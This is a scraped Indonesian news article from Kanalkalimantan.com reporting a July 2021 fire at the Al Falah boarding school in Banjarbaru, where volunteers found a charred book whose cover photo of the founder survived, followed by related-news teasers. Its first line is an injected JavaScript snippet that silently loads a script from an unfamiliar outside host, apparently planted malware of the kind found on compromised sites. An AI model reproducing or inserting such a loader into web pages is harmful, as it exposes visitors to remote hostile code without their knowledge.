(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kebakaran hebat yang dialami Ponpes Al Falah Putra Banjarbaru menghanguskan gedung-gedung pesantren dan seisinya. Sedikit yang dapat diselamatkan oleh sekelompok relawan dan para santri.
Ada hal yang membuat proses menyisiri puing-puing kebakaran gedung yang gosong itu. Pasalnya, salah satu dari mereka menemukan sebuah buku gosong yang tidak seperti buku-buku lainnya.
Gema takbir dan sholawat mereka ucapkan. Satu dua orang langsung terharu. Buku yang sudah tersentuh oleh si Jago Merah itu nampak menghitam di pinggir, namun di tengah-tengahnya tetap utuh.
Bagian depan buku tersebut adalah sampul yang memuat foto KH Muhammad Sani, Pendiri (Muassis) Pondok Pesantren Al Falah.
Baca juga: UPDATE. Begini Kondisi Pasca Kebakaran Ponpes Al Falah Putra
Foto tersebut masih nampak jelas, seolah api enggan menjilat sosok yang sangat dirindukan oleh semua orang yang pernah beliau ajarkan ilmu agama itu.
“Ini salah satu bentuk kebesaran Allah!” ucap salah satu relawan dengan nada bergetar, menahan haru.
Sebelumnya, kebakaran yang menimpa Pondok Pesantren Al Falah Putra Banjarbaru, di Jalan A Yani KM 23,500 Landasan Ulin, Kamis (15/7/2021) pukul 05.15 Wita, menyebabkan kerugian tak sedikit. Ditaksir, jumlah kerugian akibat kebakaran tersebut mencapai Rp 2 miliar.
Ustadz Nur Syahid Ramli, Ketua Pengurus Yayasan Pondok Pesantren Al Falah kepada Kanalkalimantan.com menjelaskan, akan menggelar musyawarah dengan jajaran pengurus, dewan guru, hingga alumni terkait musibah tersebut.
Baca juga: Sebanyak 50 Juta Dosis Vaksin Pfizer Segera Diterima Indonesia!
“Kami nanti akan memusyawarahkan dengan jajaran yayasan, jajaran dewan guru dan juga menyampaikan kepada Pemko Banjarbaru dan Provinsi. Mudah-mudahhan kami bisa menyampaikan kepada mereka semua,” katanya.
Langkah tersebut dilakukan, agar pemerintah mengetahui musibah yang terjadi di Pondok Pesantren Al Falah.
“Apabila pemerintah nantinya akan memberi atau tidak memberi bantuan, kami hanya menyampaikan saja. Akan tetapi saya meminta sedikit simpatiknya. Kami akan musyawarahkan terlebih dahulu terkait hal itu, mudah-mudahan kami bisa secepatnya kami membangun,” tandasnya. (kanalkalimantan.com/nurul)
Reporter: nurul
Editor: cell
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kurang satu pekan menjelang hari pencoblosan Pilkada Serentak 2024, Komisi Pemilihan Umum… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah kios pedagang di pasar tradisional A Yani Banjarmasin hangus akibat kebakaran.… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kepolisian Daerah (Polda) Kalimantan Selatan (Kalsel) melalui Direktorat Reserse Narkoba (Ditresnarkoba) gagalkan… Read More
This website uses cookies.